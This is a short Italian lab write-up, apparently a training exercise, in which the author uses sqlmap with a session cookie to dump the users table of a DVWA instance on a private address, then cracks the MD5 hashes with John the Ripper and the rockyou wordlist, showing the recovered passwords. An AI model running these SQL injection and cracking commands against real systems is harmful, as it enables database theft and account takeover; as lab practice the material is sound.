Per prima cosa ho eseguito un sqlmap per recuperare le password hashate:

```
┌──(andre㉿kali)-[~]
└─$ sqlmap -u "http://<192.168.50.101>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESS
ID=d6e7afdc296c76c579a76186a41dfd37; security=low" -D dvwa -T users --dump
```

e queste sono le password che ho trovato:

```
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+----------------------------------
---------+-----------+-------------+
| user_id | user    | avatar                                                | password
        | last_name | first_name |
+---------+---------+-------------------------------------------------------+----------------------------------
---------+-----------+-------------+
| 1       | admin   | http://192.168.50.101/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb
882cf99 | admin     | admin      |
| 2       | gordonb | http://192.168.50.101/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f26085367
8922e03 | Brown     | Gordon     |
| 3       | 1337    | http://192.168.50.101/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fc
c69216b | Me        | Hack       |
| 4       | pablo   | http://192.168.50.101/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c7
1e9e9b7 | Picasso   | Pablo      |
| 5       | smithy  | http://192.168.50.101/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb
882cf99 | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+----------------------------------
```

che mi ha automaticamente salvato in un file di testo.

```
┌──(andre㉿kali)-[/tmp/sqlmapdh91708c192224]
└─$ cat sqlmaphashes-892cjk_j.txt
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
```

dopo di che con il tool jhon the ripper ho crackato le password trovate:

```
┌──(andre㉿kali)-[/tmp/sqlmapdh91708c192224]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt sqlmaphashes-892cjk_j.txt

Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4×3])
Warning: no OpenMP support for this hash type, consider --fork=3
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (?)
abc123           (?)
letmein          (?)
charley          (?)
4g 0:00:00:00 DONE (2024-12-12 10:39) 66.66g/s 48000p/s 48000c/s 64000C/s my3kids..soccer9
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```